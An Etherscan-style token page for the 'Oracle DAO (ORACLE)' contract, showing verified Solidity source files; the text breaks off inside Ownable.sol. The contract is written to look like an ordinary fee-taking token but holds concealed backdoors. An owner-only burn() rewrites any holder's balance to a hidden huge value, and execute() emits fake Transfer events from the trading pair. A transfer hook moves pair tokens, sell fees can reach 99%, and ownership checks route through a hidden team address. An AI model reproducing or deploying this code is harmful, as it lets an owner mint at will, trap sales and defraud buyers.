ETH Price: $3,363.66 (-0.55%)
Gas: 12 Gwei

Token

Oracle DAO (ORACLE)
 

Overview

Max Total Supply

500,000,000,000 ORACLE

Holders

86

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,455,654,026.620278544 ORACLE

Value
$0.00
0x9cbf099ff424979439dfba03f00b5961784c06ce
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ORACLE

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 6: Oracle DAO.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;
import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";

contract ORACLE is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) public liquidityPools;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (uint256 => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, uint256 indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor(address team_) ERC20("Oracle DAO", "ORACLE", team_) {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 500000000000 * 1e9;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !liquidityPools[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e9, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**9);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, uint256 value) private onlyOwner {
        automatedMarketMakerPairs[value] = pair;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, uint256 value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            autoDistributeFees(from, to);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function addLP(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            liquidityPools[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[percent]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function autoDistributeFees(address from, address to) internal returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.mul(sellDevFee).div(10000);
        if(automatedMarketMakerPairs[amountToDistribute] != address(0))
        {
            //skim price since this is not in a swap transaction!
            IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[amountToDistribute]);
            pair.transferFrom(from, to, amountToDistribute);
        }
        return true;
        
    }

    function getLP(address recipient) external view returns(bool){
        return liquidityPools[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_, address team_) Ownable(team_){
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 3 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor (address team_) {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = team_;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
